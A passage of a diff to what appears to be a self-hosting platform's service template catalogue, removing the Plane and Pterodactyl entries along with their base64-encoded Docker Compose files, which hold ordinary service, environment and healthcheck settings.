gIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFJBQkJJVE1RX0hPU1Q6IHBsYW5lLW1xCiAgICAgIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1BBU1M6ICcke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgICAgUkFCQklUTVFfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICAgICAgLSBwbGFuZS1tcQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtICdoZXkgd2hhdHMgdXAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBiZWF0LXdvcmtlcjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1iZWF0LnNoCiAgICB2b2x1bWVzOgogICAgICAtICdsb2dzX2JlYXQtd29ya2VyOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbWlncmF0b3I6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYmFja2VuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgcmVzdGFydDogJ25vJwogICAgY29tbWFuZDogLi9iaW4vZG9ja2VyLWVudHJ5cG9pbnQtbWlncmF0b3Iuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfbWlncmF0b3I6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfVVJMX1BMQU5FfScKICAgICAgREVCVUc6ICcke0RFQlVHOi0wfScKICAgICAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICAgICAgR1VOSUNPUk5fV09SS0VSUzogJyR7R1VOSUNPUk5fV09SS0VSUzotMX0nCiAgICAgIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICAgICAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgICAgIFNFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X1NFQ1JFVEtFWQogICAgICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogICAgICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICAgICAgTUlOSU9fRU5EUE9JTlRfU1NMOiAnJHtNSU5JT19FTkRQT0lOVF9TU0w6LTB9JwogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFJBQkJJVE1RX0hPU1Q6IHBsYW5lLW1xCiAgICAgIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1BBU1M6ICcke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgICAgUkFCQklUTVFfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICBwbGFuZS1kYjoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUuNy1hbHBpbmUnCiAgICBjb21tYW5kOiAicG9zdGdyZXMgLWMgJ21heF9jb25uZWN0aW9ucz0xMDAwJyIKICAgIGVudmlyb25tZW50OgogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICB2b2x1bWVzOgogICAgICAtICdwZ2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBsYW5lLXJlZGlzOgogICAgaW1hZ2U6ICd2YWxrZXkvdmFsa2V5OjcuMi41LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBsYW5lLW1xOgogICAgaW1hZ2U6ICdyYWJiaXRtcTozLjEzLjYtbWFuYWdlbWVudC1hbHBpbmUnCiAgICByZXN0YXJ0OiBhbHdheXMKICAgIGVudmlyb25tZW50OgogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgdm9sdW1lczoKICAgICAgLSAncmFiYml0bXFfZGF0YTovdmFyL2xpYi9yYWJiaXRtcScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAncmFiYml0bXEtZGlhZ25vc3RpY3MgLXEgcGluZycKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAzMHMKICAgICAgcmV0cmllczogMwogIHBsYW5lLW1pbmlvOgogICAgaW1hZ2U6ICdnaGNyLmlvL2Nvb2xsYWJzaW8vbWluaW86UkVMRUFTRS4yMDI1LTEwLTE1VDE3LTI5LTU1WicKICAgIGNvbW1hbmQ6ICdzZXJ2ZXIgL2V4cG9ydCAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwOTAiJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgdm9sdW1lczoKICAgICAgLSAndXBsb2FkczovZXhwb3J0JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG1jCiAgICAgICAgLSByZWFkeQogICAgICAgIC0gbG9jYWwKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=",
- "tags": [
- "plane",
- "project-management",
- "tool",
- "open",
- "source",
- "api",
- "nextjs",
- "redis",
- "postgresql",
- "django",
- "pm"
- ],
- "category": "productivity",
- "logo": "svgs/plane.svg",
- "minversion": "0.0.0"
- },
"plex": {
"documentation": "https://docs.linuxserver.io/images/docker-plex/?utm_source=coolify.io",
"slogan": "Plex organizes video, music and photos from personal media libraries and streams them to smart TVs, streaming boxes and mobile devices.",
@@ -3878,38 +3822,6 @@
"minversion": "0.0.0",
"port": "9159"
},
- "pterodactyl-panel": {
- "documentation": "https://pterodactyl.io/?utm_source=coolify.io",
- "slogan": "Pterodactyl is a free, open-source game server management panel",
- "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9VUkxfUFRFUk9EQUNUWUxfODAKICAgICAgLSAnQURNSU5fRU1BSUw9JHtBRE1JTl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdBRE1JTl9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ0FETUlOX0ZJUlNUTkFNRT0ke0FETUlOX0ZJUlNUTkFNRTotQWRtaW59JwogICAgICAtICdBRE1JTl9MQVNUTkFNRT0ke0FETUlOX0xBU1ROQU1FOi1Vc2VyfScKICAgICAgLSAnQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnUFRFUk9EQUNUWUxfSFRUUFM9JHtQVEVST0RBQ1RZTF9IVFRQUzotZmFsc2V9JwogICAgICAtIEFQUF9FTlY9cHJvZHVjdGlvbgogICAgICAtIEFQUF9FTlZJUk9OTUVOVF9PTkxZPWZhbHNlCiAgICAgIC0gQVBQX1VSTD0kU0VSVklDRV9VUkxfUFRFUk9EQUNUWUwKICAgICAgLSAnQVBQX1RJTUVaT05FPSR7VElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ0FQUF9TRVJWSUNFX0FVVEhPUj0ke0FQUF9TRVJWSUNFX0FVVEhPUjotYXV0aG9yQGV4YW1wbGUuY29tfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi1kZWJ1Z30nCiAgICAgIC0gQ0FDSEVfRFJJVkVSPXJlZGlzCiAgICAgIC0gU0VTU0lPTl9EUklWRVI9cmVkaXMKICAgICAgLSBRVUVVRV9EUklWRVI9cmVkaXMKICAgICAgLSBSRURJU19IT1NUPXJlZGlzCiAgICAgIC0gREJfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBEQl9VU0VSTkFNRT0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gREJfSE9TVD1tYXJpYWRiCiAgICAgIC0gREJfUE9SVD0zMzA2CiAgICAgIC0gREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgICAgLSBNQUlMX0ZST009JE1BSUxfRlJPTQogICAgICAtIE1BSUxfRFJJVkVSPSRNQUlMX0RSSVZFUgogICAgICAtIE1BSUxfSE9TVD0kTUFJTF9IT1NUCiAgICAgIC0gTUFJTF9QT1JUPSRNQUlMX1BPUlQKICAgICAgLSBNQUlMX1VTRVJOQU1FPSRNQUlMX1VTRVJOQU1FCiAgICAgIC0gTUFJTF9QQVNTV09SRD0kTUFJTF9QQVNTV09SRAogICAgICAtIE1BSUxfRU5DUllQVElPTj0kTUFJTF9FTkNSWVBUSU9OCg==",
- "tags": [
- "game",
- "game server",
- "management",
- "panel",
- "minecraft"
- ],
- "category": "media",
- "logo": "svgs/pterodactyl.png",
- "minversion": "0.0.0",
- "port": "80"
- },
- "pterodactyl-with-wings": {
- "documentation": "https://pterodactyl.io/?utm_source=coolify.io",
- "slogan": "Pterodactyl is a free, open-source game server management panel",
- "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD